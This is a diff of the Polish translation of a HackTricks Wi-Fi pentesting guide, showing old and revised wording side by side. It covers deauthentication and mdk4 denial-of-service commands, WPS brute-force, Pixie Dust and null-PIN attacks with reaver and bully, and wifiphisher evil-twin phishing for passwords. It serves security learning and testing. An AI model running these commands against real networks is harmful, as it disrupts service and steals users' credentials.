<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||||
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
|
||||
|
||||
**Spojrzenie na Hakowanie**\
|
||||
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hakowania
|
||||
**Wgląd w hacking**\
|
||||
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
|
||||
|
||||
**Aktualności z Hakowania na Żywo**\
|
||||
Bądź na bieżąco z szybkim tempem świata hakowania dzięki aktualnym wiadomościom i spostrzeżeniom
|
||||
**Aktualności o hackingu w czasie rzeczywistym**\
|
||||
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
|
||||
|
||||
**Najnowsze Ogłoszenia**\
|
||||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
|
||||
**Najnowsze ogłoszenia**\
|
||||
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platform
|
||||
|
||||
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||||
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
|
||||
|
||||
## Podstawowe polecenia Wifi
|
||||
## Wifi podstawowe komendy
|
||||
```bash
|
||||
ip link show #List available interfaces
|
||||
iwconfig #List available interfaces
|
||||
|
@ -70,9 +71,11 @@ docker run \
|
|||
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
|
||||
v1s1t0r1sh3r3/airgeddon
|
||||
```
|
||||
From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux)
|
||||
|
||||
### wifiphisher
|
||||
|
||||
Może przeprowadzać ataki Evil Twin, KARMA i Known Beacons, a następnie użyć szablonu phishingowego, aby uzyskać rzeczywiste hasło sieci lub przechwycić dane uwierzytelniające społecznościowe.
|
||||
Może przeprowadzać ataki Evil Twin, KARMA i Known Beacons, a następnie używać szablonu phishingowego, aby uzyskać prawdziwe hasło do sieci lub przechwycić dane logowania do sieci społecznościowych.
|
||||
```bash
|
||||
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
|
||||
cd wifiphisher # Switch to tool's directory
|
||||
|
@ -82,61 +85,61 @@ sudo python setup.py install # Install any dependencies
|
|||
|
||||
To narzędzie automatyzuje ataki **WPS/WEP/WPA-PSK**. Automatycznie:
|
||||
|
||||
* Ustawia interfejs w tryb monitora
|
||||
* Skanuje możliwe sieci - i pozwala wybrać ofiar(y)
|
||||
* Ustawia interfejs w trybie monitorowania
|
||||
* Skanuje możliwe sieci - I pozwala wybrać ofiarę/y
|
||||
* Jeśli WEP - Uruchamia ataki WEP
|
||||
* Jeśli WPA-PSK
|
||||
* Jeśli WPS: Atak Pixie dust i atak brutalnej siły (bądź ostrożny, atak brutalnej siły może potrwać długo). Zauważ, że nie próbuje pustego PIN-u ani PIN-ów z bazy danych/wygenerowanych.
|
||||
* Próbuje przechwycić PMKID z AP w celu złamania go
|
||||
* Próbuje dezautoryzować klientów AP w celu przechwycenia uchwytu
|
||||
* Jeśli PMKID lub Uchwyt, próbuje ataku brutalnej siły używając top5000 haseł.
|
||||
* Jeśli WPS: atak Pixie dust i atak brute-force (uważaj, atak brute-force może zająć dużo czasu). Zauważ, że nie próbuje pustego PIN-u ani PIN-ów z bazy danych/wygenerowanych.
|
||||
* Próbuje przechwycić PMKID z AP, aby go złamać
|
||||
* Próbuje deautoryzować klientów AP, aby przechwycić handshake
|
||||
* Jeśli PMKID lub Handshake, próbuje złamać hasło używając 5000 najpopularniejszych haseł.
|
||||
|
||||
## Podsumowanie Ataków
|
||||
## Podsumowanie ataków
|
||||
|
||||
* **DoS**
|
||||
* Pakiety dezautoryzacyjne/rozłączeniowe -- Odłącz wszystkich (lub określony ESSID/Klient)
|
||||
* Losowe fałszywe AP -- Ukryj sieci, możliwe zatrzymanie skanerów
|
||||
* Przeciąż AP -- Spróbuj zabić AP (zazwyczaj mało przydatne)
|
||||
* WIDS -- Gra z IDS
|
||||
* TKIP, EAPOL -- Kilka konkretnych ataków DoS na niektóre AP
|
||||
* **Łamanie**
|
||||
* Łamanie **WEP** (kilka narzędzi i metod)
|
||||
* Deautoryzacja/disasocjacja -- Rozłącz wszystkich (lub konkretny ESSID/Klient)
|
||||
* Losowe fałszywe AP -- Ukryj sieci, możliwe awarie skanerów
|
||||
* Przeciążenie AP -- Spróbuj zabić AP (zwykle mało użyteczne)
|
||||
* WIDS -- Baw się IDS
|
||||
* TKIP, EAPOL -- Niektóre specyficzne ataki DoS na niektóre AP
|
||||
* **Cracking**
|
||||
* Złam **WEP** (kilka narzędzi i metod)
|
||||
* **WPA-PSK**
|
||||
* **WPS** pin "Brute-Force"
|
||||
* **WPA PMKID** atak brutalnej siły
|
||||
* \[DoS +] Przechwycenie **WPA handshake** + Łamanie
|
||||
* **WPA PMKID** brute-force
|
||||
* \[DoS +] **WPA handshake** przechwytywanie + Złamanie
|
||||
* **WPA-MGT**
|
||||
* Przechwycenie **Nazwy użytkownika**
|
||||
* **Atak brutalnej siły** Poświadczeń
|
||||
* **Zły bliźniak** (z lub bez DoS)
|
||||
* **Otwarty** Zły bliźniak \[+ DoS] -- Przydatne do przechwycenia danych logowania do portalu przechwytującego i/lub przeprowadzania ataków LAN
|
||||
* **WPA-PSK** Zły bliźniak -- Przydatne do ataków sieciowych, jeśli znasz hasło
|
||||
* **WPA-MGT** -- Przydatne do przechwytywania poświadczeń firmowych
|
||||
* **KARMA, MANA**, **Głośny MANA**, **Znany sygnał**
|
||||
* **+ Otwarty** -- Przydatne do przechwycenia danych logowania do portalu przechwytującego i/lub przeprowadzania ataków LAN
|
||||
* **+ WPA** -- Przydatne do przechwycenia uchwytów WPA
|
||||
* **Przechwytywanie nazwy użytkownika**
|
||||
* **Bruteforce** poświadczenia
|
||||
* **Evil Twin** (z lub bez DoS)
|
||||
* **Open** Evil Twin \[+ DoS] -- Użyteczne do przechwytywania poświadczeń portalu przechwytywania i/lub przeprowadzania ataków LAN
|
||||
* **WPA-PSK** Evil Twin -- Użyteczne do ataków sieciowych, jeśli znasz hasło
|
||||
* **WPA-MGT** -- Użyteczne do przechwytywania poświadczeń firmowych
|
||||
* **KARMA, MANA**, **Loud MANA**, **Znany beacon**
|
||||
* **+ Open** -- Użyteczne do przechwytywania poświadczeń portalu przechwytywania i/lub przeprowadzania ataków LAN
|
||||
* **+ WPA** -- Użyteczne do przechwytywania handshake'ów WPA
|
||||
|
||||
## DOS
|
||||
|
||||
### Pakiety Dezautoryzacyjne
|
||||
### Pakiety deautoryzacji
|
||||
|
||||
**Opis z** [**tutaj**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||
|
||||
Ataki **dezautoryzacyjne**, powszechna metoda w hakowaniu Wi-Fi, polegają na fałszowaniu ramek "zarządzających", aby **przymusowo rozłączyć urządzenia z siecią**. Te niezaszyfrowane pakiety wprowadzają klientów w błąd, sugerując, że pochodzą z prawidłowej sieci, umożliwiając atakującym zbieranie uchwytów WPA w celach łamania lub trwałego zakłócania połączeń sieciowych. Ta taktyka, zaskakująco prosta, jest szeroko stosowana i ma istotne implikacje dla bezpieczeństwa sieciowego.
|
||||
Ataki **deautoryzacji**, powszechnie stosowana metoda w hackingu Wi-Fi, polegają na fałszowaniu ramek "zarządzających", aby **siłą rozłączyć urządzenia z sieci**. Te niezaszyfrowane pakiety oszukują klientów, sprawiając, że wierzą, iż pochodzą z legalnej sieci, co umożliwia atakującym zbieranie handshake'ów WPA do celów łamania lub trwałe zakłócanie połączeń sieciowych. Ta taktyka, niepokojąca w swojej prostocie, jest szeroko stosowana i ma znaczące implikacje dla bezpieczeństwa sieci.
|
||||
|
||||
**Deautoryzacja za pomocą Aireplay-ng**
|
||||
**Deautoryzacja przy użyciu Aireplay-ng**
|
||||
```
|
||||
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
||||
```
|
||||
* \-0 oznacza deautoryzację
|
||||
* 1 to liczba deautoryzacji do wysłania (możesz wysłać wiele, jeśli chcesz); 0 oznacza wysyłanie ich ciągle
|
||||
* \-a 00:14:6C:7E:40:80 to adres MAC punktu dostępu
|
||||
* \-c 00:0F:B5:34:30:30 to adres MAC klienta do deautoryzacji; jeśli jest pominięty, wysyłane są deautoryzacje rozgłoszeniowe (nie zawsze działają)
|
||||
* \-a 00:14:6C:7E:40:80 to adres MAC punktu dostępowego
|
||||
* \-c 00:0F:B5:34:30:30 to adres MAC klienta do deautoryzacji; jeśli to zostanie pominięte, wysyłana jest deautoryzacja rozgłoszeniowa (nie zawsze działa)
|
||||
* ath0 to nazwa interfejsu
|
||||
|
||||
### Pakiety rozłączenia
|
||||
### Pakiety Dezaktywacji
|
||||
|
||||
**Pakiety rozłączenia**, podobnie jak pakiety deautoryzacji, są rodzajem ramek zarządzania używanych w sieciach Wi-Fi. Te pakiety służą do zerwania połączenia między urządzeniem (takim jak laptop lub smartfon) a punktem dostępu (AP). Główna różnica między rozłączeniem a deautoryzacją polega na ich scenariuszach użycia. Podczas gdy punkt dostępu emituje **pakiety deautoryzacji, aby wyraźnie usunąć urządzenia szpiegowskie z sieci, pakiety rozłączenia są zazwyczaj wysyłane, gdy punkt dostępu przechodzi przez wyłączenie, restart lub przeniesienie, co wymaga rozłączenia wszystkich podłączonych węzłów.**
|
||||
**Pakiety dezaktywacji**, podobnie jak pakiety deautoryzacji, są rodzajem ramki zarządzającej używanej w sieciach Wi-Fi. Pakiety te służą do zerwania połączenia między urządzeniem (takim jak laptop lub smartfon) a punktem dostępowym (AP). Główna różnica między dezaktywacją a deautoryzacją leży w ich scenariuszach użycia. Podczas gdy AP emituje **pakiety deautoryzacji, aby usunąć nieautoryzowane urządzenia z sieci, pakiety dezaktywacji są zazwyczaj wysyłane, gdy AP przechodzi w tryb wyłączenia**, ponownego uruchamiania lub przenoszenia, co wymaga rozłączenia wszystkich podłączonych węzłów.
|
||||
|
||||
**Ten atak można przeprowadzić za pomocą mdk4 (tryb "d"):**
|
||||
```bash
|
||||
|
@ -147,13 +150,13 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
|||
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
|
||||
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
||||
```
|
||||
### **Więcej ataków DOS przez mdk4**
|
||||
### **Więcej ataków DOS za pomocą mdk4**
|
||||
|
||||
**Tutaj** [**link**](https://en.kali.tools/?p=864)**.**
|
||||
**W** [**tutaj**](https://en.kali.tools/?p=864)**.**
|
||||
|
||||
**TRYB ATAKI b: Zatapianie Beaconów**
|
||||
**TRYB ATAKU b: Flooding Beaconów**
|
||||
|
||||
Wysyła ramki beaconów, aby pokazać fałszywe punkty dostępu (AP) klientom. Czasami może to spowodować awarię skanerów sieciowych i nawet sterowników!
|
||||
Wysyła ramki beaconów, aby pokazać fałszywe AP na klientach. Może to czasami spowodować awarię skanerów sieciowych, a nawet sterowników!
|
||||
```bash
|
||||
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
|
||||
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
|
||||
|
@ -161,9 +164,9 @@ Wysyła ramki beaconów, aby pokazać fałszywe punkty dostępu (AP) klientom. C
|
|||
# All the parameters are optional and you could load ESSIDs from a file
|
||||
mdk4 wlan0mon b -a -w nta -m
|
||||
```
|
||||
**TRYB ATAKU a: Usługa Odmowy Autoryzacji**
|
||||
**TRYB ATAKU a: Denial-Of-Service uwierzytelnienia**
|
||||
|
||||
Wysyłanie ramek autoryzacyjnych do wszystkich dostępnych punktów dostępu (AP) w zasięgu może przeciążyć te punkty dostępu, zwłaszcza gdy zaangażowanych jest wiele klientów. Intensywny ruch może prowadzić do niestabilności systemu, powodując zawieszenie się niektórych punktów dostępu lub nawet ich zresetowanie.
|
||||
Wysyłanie ramek uwierzytelniających do wszystkich dostępnych Punktów Dostępu (AP) w zasięgu może przeciążyć te AP, szczególnie gdy zaangażowanych jest wielu klientów. Ten intensywny ruch może prowadzić do niestabilności systemu, powodując, że niektóre AP mogą się zawiesić lub nawet zresetować.
|
||||
```bash
|
||||
# -a BSSID send random data from random clients to try the DoS
|
||||
# -i BSSID capture and repeat pakets from authenticated clients
|
||||
|
@ -171,105 +174,105 @@ Wysyłanie ramek autoryzacyjnych do wszystkich dostępnych punktów dostępu (AP
|
|||
# only -a or -i can be used
|
||||
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
||||
```
|
||||
**TRYB ATAKI p: Sondowanie SSID i Bruteforcing**
|
||||
**TRYB ATAKU p: Probing SSID i Bruteforcing**
|
||||
|
||||
Sondowanie punktów dostępu (AP) sprawdza, czy SSID jest poprawnie ujawnione i potwierdza zasięg AP. Ta technika, w połączeniu z **bruteforcingiem ukrytych SSID** z lub bez listy słów, pomaga zidentyfikować i uzyskać dostęp do ukrytych sieci.
|
||||
Probing Access Points (APs) sprawdza, czy SSID jest odpowiednio ujawniony i potwierdza zasięg AP. Ta technika, w połączeniu z **bruteforcing ukrytych SSID** z lub bez listy słów, pomaga w identyfikacji i uzyskiwaniu dostępu do ukrytych sieci.
|
||||
|
||||
**TRYB ATAKI m: Wykorzystanie Kontrataków Michaela**
|
||||
**TRYB ATAKU m: Wykorzystanie Środków Przeciwdziałających Michaelowi**
|
||||
|
||||
Wysyłanie losowych lub zduplikowanych pakietów do różnych kolejek QoS może wywołać Kontratak Michaela na AP **TKIP**, prowadząc do jednominutowego wyłączenia AP. Ta metoda jest skuteczną taktyką ataku **DoS** (Denial of Service).
|
||||
Wysyłanie losowych lub duplikowanych pakietów do różnych kolejek QoS może wywołać Środki Przeciwdziałające Michaelowi na **TKIP APs**, prowadząc do jednominutowego wyłączenia AP. Ta metoda jest skuteczną taktyką ataku **DoS** (Denial of Service).
|
||||
```bash
|
||||
# -t <BSSID> of a TKIP AP
|
||||
# -j use inteligent replay to create the DoS
|
||||
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
||||
```
|
||||
**TRYB ATAKI e: Wstrzykiwanie pakietów EAPOL Start i Logoff**
|
||||
**TRYB ATAKU e: Wstrzykiwanie pakietów EAPOL Start i Logoff**
|
||||
|
||||
Zalewanie punktu dostępowego pakietami **EAPOL Start** tworzy **fałszywe sesje**, przytłaczając AP i blokując prawidłowych klientów. Alternatywnie, wstrzykiwanie **fałszywych komunikatów EAPOL Logoff** wymusza rozłączenie klientów, obie metody skutecznie zakłócają usługi sieciowe.
|
||||
Zalewanie AP **ramkami EAPOL Start** tworzy **fałszywe sesje**, przytłaczając AP i blokując legalnych klientów. Alternatywnie, wstrzykiwanie **fałszywych wiadomości EAPOL Logoff** wymusza rozłączenie klientów, obie metody skutecznie zakłócają usługi sieciowe.
|
||||
```bash
|
||||
# Use Logoff messages to kick clients
|
||||
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
||||
```
|
||||
**TRYB ATAKI s: Ataki na sieci siatkowe IEEE 802.11s**
|
||||
**TRYB ATAKU s: Ataki na sieci mesh IEEE 802.11s**
|
||||
|
||||
Różne ataki na zarządzanie połączeniami i trasowaniem w sieciach siatkowych.
|
||||
Różne ataki na zarządzanie łączami i routowanie w sieciach mesh.
|
||||
|
||||
**TRYB ATAKI w: Konfuzja WIDS**
|
||||
**TRYB ATAKU w: Mylenie WIDS**
|
||||
|
||||
Krzyżowe łączenie klientów z wieloma węzłami WDS lub fałszywymi rogue AP może manipulować Systemami Wykrywania i Zapobiegania Włamaniom, tworząc konfuzję i potencjalne nadużycia systemu.
|
||||
Krzyżowe łączenie klientów z wieloma węzłami WDS lub fałszywymi AP może manipulować systemami wykrywania i zapobiegania włamaniom, tworząc zamieszanie i potencjalne nadużycie systemu.
|
||||
```bash
|
||||
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
|
||||
mkd4 -e <SSID> -c <channel> [-z]
|
||||
```
|
||||
**TRYB ATAKI f: Packet Fuzzer**
|
||||
**TRYB ATAKU f: Fuzzer Pakietów**
|
||||
|
||||
Fuzzer pakietów oferujący różnorodne źródła pakietów i kompleksowy zestaw modyfikatorów do manipulacji pakietami.
|
||||
Fuzzer pakietów z różnorodnymi źródłami pakietów i kompleksowym zestawem modyfikatorów do manipulacji pakietami.
|
||||
|
||||
### **Airggedon**
|
||||
|
||||
_**Airgeddon**_ oferuje większość ataków proponowanych w poprzednich komentarzach:
|
||||
_**Airgeddon**_ oferuje większość ataków zaproponowanych w poprzednich komentarzach:
|
||||
|
||||
![](<../../.gitbook/assets/image (95).png>)
|
||||
|
||||
## WPS
|
||||
|
||||
WPS (Wi-Fi Protected Setup) upraszcza proces podłączania urządzeń do routera, zwiększając szybkość i łatwość konfiguracji sieci zaszyfrowanych za pomocą **WPA** lub **WPA2** Personal. Jest nieskuteczny dla łatwo kompromitowanej ochrony WEP. WPS wykorzystuje 8-cyfrowy PIN, sprawdzany w dwóch częściach, co czyni go podatnym na ataki brute-force ze względu na ograniczoną liczbę kombinacji (11 000 możliwości).
|
||||
WPS (Wi-Fi Protected Setup) upraszcza proces łączenia urządzeń z routerem, zwiększając szybkość i łatwość konfiguracji dla sieci szyfrowanych za pomocą **WPA** lub **WPA2** Personal. Jest nieskuteczny w przypadku łatwo kompromitowanego zabezpieczenia WEP. WPS wykorzystuje 8-cyfrowy PIN, weryfikowany w dwóch częściach, co czyni go podatnym na ataki brute-force z powodu ograniczonej liczby kombinacji (11 000 możliwości).
|
||||
|
||||
### Atak Brute Force na WPS
|
||||
### WPS Bruteforce
|
||||
|
||||
Istnieją 2 główne narzędzia do wykonania tej akcji: Reaver i Bully.
|
||||
Istnieją 2 główne narzędzia do przeprowadzenia tej akcji: Reaver i Bully.
|
||||
|
||||
* **Reaver** został zaprojektowany jako solidny i praktyczny atak na WPS, i został przetestowany na wielu punktach dostępu i implementacjach WPS.
|
||||
* **Bully** to **nowa implementacja** ataku brute force na WPS, napisana w języku C. Posiada kilka zalet w porównaniu z oryginalnym kodem reavera: mniej zależności, poprawiona wydajność pamięci i procesora, poprawna obsługa kolejności bajtów oraz bardziej stabilny zestaw opcji.
|
||||
* **Reaver** został zaprojektowany jako solidny i praktyczny atak przeciwko WPS i był testowany na szerokiej gamie punktów dostępowych i implementacji WPS.
|
||||
* **Bully** to **nowa implementacja** ataku brute force WPS, napisana w C. Ma kilka zalet w porównaniu do oryginalnego kodu reaver: mniej zależności, poprawiona wydajność pamięci i CPU, prawidłowe obsługiwanie endianness oraz bardziej rozbudowany zestaw opcji.
|
||||
|
||||
Atak wykorzystuje **podatność PIN-a WPS**, w szczególności ujawnienie pierwszych czterech cyfr i rolę ostatniej cyfry jako sumy kontrolnej, ułatwiając atak brute-force. Jednak obrona przed atakami brute-force, jak **blokowanie adresów MAC** agresywnych atakujących, wymaga **rotacji adresów MAC** aby kontynuować atak.
|
||||
Atak wykorzystuje **wrażliwość PIN-u WPS**, szczególnie jego ujawnienie pierwszych czterech cyfr oraz rolę ostatniej cyfry jako sumy kontrolnej, co ułatwia atak brute-force. Jednak obrony przed atakami brute-force, takie jak **blokowanie adresów MAC** agresywnych atakujących, wymagają **rotacji adresów MAC**, aby kontynuować atak.
|
||||
|
||||
Po uzyskaniu PIN-a WPS za pomocą narzędzi takich jak Bully lub Reaver, atakujący może wydedukować PSK WPA/WPA2, zapewniając **trwały dostęp do sieci**.
|
||||
Po uzyskaniu PIN-u WPS za pomocą narzędzi takich jak Bully lub Reaver, atakujący może wydedukować WPA/WPA2 PSK, zapewniając **stały dostęp do sieci**.
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||||
```
|
||||
**Inteligentny atak siłowy**
|
||||
**Smart Brute Force**
|
||||
|
||||
To wyrafinowane podejście koncentruje się na PIN-ach WPS wykorzystując znane podatności:
|
||||
To podejście celuje w PIN-y WPS, wykorzystując znane luki:
|
||||
|
||||
1. **Wcześniej odkryte PIN-y**: Wykorzystaj bazę danych znanych PIN-ów powiązanych z konkretnymi producentami, którzy stosują jednolite PIN-y WPS. Ta baza danych koreluje pierwsze trzy oktety adresów MAC z prawdopodobnymi PIN-ami dla tych producentów.
|
||||
2. **Algorytmy generowania PIN-ów**: Wykorzystaj algorytmy takie jak ComputePIN i EasyBox, które obliczają PIN-y WPS na podstawie adresu MAC punktu dostępowego (AP). Dodatkowo algorytm Arcadyan wymaga identyfikatora urządzenia, co dodaje warstwę do procesu generowania PIN-ów.
|
||||
1. **Wcześniej odkryte PIN-y**: Wykorzystaj bazę danych znanych PIN-ów powiązanych z konkretnymi producentami, którzy używają jednolitych PIN-ów WPS. Ta baza danych koreluje pierwsze trzy oktety adresów MAC z prawdopodobnymi PIN-ami dla tych producentów.
|
||||
2. **Algorytmy generowania PIN-ów**: Wykorzystaj algorytmy takie jak ComputePIN i EasyBox, które obliczają PIN-y WPS na podstawie adresu MAC AP. Algorytm Arcadyan dodatkowo wymaga identyfikatora urządzenia, co dodaje warstwę do procesu generowania PIN-u.
|
||||
|
||||
### Atak WPS Pixie Dust
|
||||
### WPS Pixie Dust attack
|
||||
|
||||
**Dominique Bongard** odkrył wadę w niektórych punktach dostępowych (AP), dotyczącą tworzenia tajnych kodów, znanych jako **nonce** (**E-S1** i **E-S2**). Jeśli te nonce'y mogą zostać ustalone, złamanie PIN-u WPS AP staje się łatwe. AP ujawnia PIN w specjalnym kodzie (hash), aby udowodnić, że jest on autentyczny i nie jest fałszywym (rogue) AP. Te nonce'y są w zasadzie "kluczami" do odblokowania "sejfu", który przechowuje PIN WPS. Więcej informacji na ten temat można znaleźć [tutaj](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
|
||||
**Dominique Bongard** odkrył błąd w niektórych punktach dostępowych (AP) dotyczący tworzenia tajnych kodów, znanych jako **nonces** (**E-S1** i **E-S2**). Jeśli te nonces można odgadnąć, złamanie PIN-u WPS AP staje się łatwe. AP ujawnia PIN w specjalnym kodzie (hash), aby udowodnić, że jest legitny, a nie fałszywy (rogue) AP. Te nonces są zasadniczo "kluczami" do odblokowania "sejfu", który przechowuje PIN WPS. Więcej na ten temat można znaleźć [tutaj](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)).
|
||||
|
||||
W prostych słowach, problem polega na tym, że niektóre AP nie używały wystarczająco losowych kluczy do szyfrowania PIN-u podczas procesu połączenia. Sprawia to, że PIN jest podatny na zgadywanie spoza sieci (atak siłowy offline).
|
||||
Mówiąc prosto, problem polega na tym, że niektóre AP nie używały wystarczająco losowych kluczy do szyfrowania PIN-u podczas procesu łączenia. To sprawia, że PIN jest podatny na odgadnięcie z zewnątrz sieci (offline brute force attack).
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
||||
```
|
||||
Jeśli nie chcesz przełączać urządzenia w tryb monitorowania, lub `reaver` i `bully` mają jakieś problemy, możesz spróbować [OneShot-C](https://github.com/nikita-yfh/OneShot-C). To narzędzie może przeprowadzić atak Pixie Dust bez konieczności przełączania się w tryb monitorowania.
|
||||
Jeśli nie chcesz przełączać urządzenia w tryb monitorowania, lub `reaver` i `bully` mają jakiś problem, możesz spróbować [OneShot-C](https://github.com/nikita-yfh/OneShot-C). To narzędzie może przeprowadzić atak Pixie Dust bez konieczności przełączania w tryb monitorowania.
|
||||
```bash
|
||||
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
|
||||
```
|
||||
### Atak Null Pin
|
||||
|
||||
Niektóre źle zaprojektowane systemy pozwalają nawet na użycie **Null PIN** (pustego lub nieistniejącego PIN-u) do uzyskania dostępu, co jest dość nietypowe. Narzędzie **Reaver** potrafi wykryć tę podatność, w przeciwieństwie do **Bully**.
|
||||
Niektóre źle zaprojektowane systemy pozwalają nawet na dostęp za pomocą **Null PIN** (pusty lub nieistniejący PIN), co jest dość nietypowe. Narzędzie **Reaver** jest w stanie testować tę podatność, w przeciwieństwie do **Bully**.
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
||||
```
|
||||
### Airgeddon
|
||||
|
||||
Wszystkie proponowane ataki WPS można łatwo wykonać za pomocą _**airgeddon.**_
|
||||
Wszystkie proponowane ataki WPS można łatwo przeprowadzić za pomocą _**airgeddon.**_
|
||||
|
||||
![](<../../.gitbook/assets/image (219).png>)
|
||||
|
||||
* 5 i 6 pozwalają Ci wypróbować **swoją niestandardową PIN** (jeśli masz taką)
|
||||
* 7 i 8 wykonują atak **Pixie Dust**
|
||||
* 13 pozwala przetestować **PIN NULL**
|
||||
* 11 i 12 będą **odzyskiwać Piny związane z wybranym AP z dostępnych baz danych** i **generować** możliwe **Piny** za pomocą: ComputePIN, EasyBox i opcjonalnie Arcadyan (zalecane, dlaczego nie?)
|
||||
* 5 i 6 pozwalają na wypróbowanie **twojego własnego PIN-u** (jeśli go masz)
|
||||
* 7 i 8 wykonują **atak Pixie Dust**
|
||||
* 13 pozwala na przetestowanie **NULL PIN**
|
||||
* 11 i 12 **zbiorą PIN-y związane z wybranym AP z dostępnych baz danych** i **wygenerują** możliwe **PIN-y** za pomocą: ComputePIN, EasyBox i opcjonalnie Arcadyan (zalecane, czemu nie?)
|
||||
* 9 i 10 przetestują **każdy możliwy PIN**
|
||||
|
||||
## **WEP**
|
||||
|
||||
Tak zdezaktualizowany i nieużywany obecnie. Warto wiedzieć, że _**airgeddon**_ ma opcję WEP o nazwie "All-in-One" do ataku na ten rodzaj zabezpieczenia. Więcej narzędzi oferuje podobne opcje.
|
||||
Tak zniszczony i nieużywany w dzisiejszych czasach. Po prostu wiedz, że _**airgeddon**_ ma opcję WEP nazwaną "All-in-One", aby zaatakować ten rodzaj ochrony. Wiele narzędzi oferuje podobne opcje.
|
||||
|
||||
![](<../../.gitbook/assets/image (432).png>)
|
||||
|
||||
|
@ -277,18 +280,18 @@ Tak zdezaktualizowany i nieużywany obecnie. Warto wiedzieć, że _**airgeddon**
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||||
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów!
|
||||
|
||||
**Spostrzeżenia Hakerskie**\
|
||||
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
|
||||
**Hacking Insights**\
|
||||
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
|
||||
|
||||
**Aktualności Hakerskie na Żywo**\
|
||||
Bądź na bieżąco z szybkim tempem świata hakerskiego dzięki aktualnościom i spostrzeżeniom na żywo
|
||||
**Real-Time Hack News**\
|
||||
Bądź na bieżąco z dynamicznym światem hackingu dzięki wiadomościom i spostrzeżeniom w czasie rzeczywistym
|
||||
|
||||
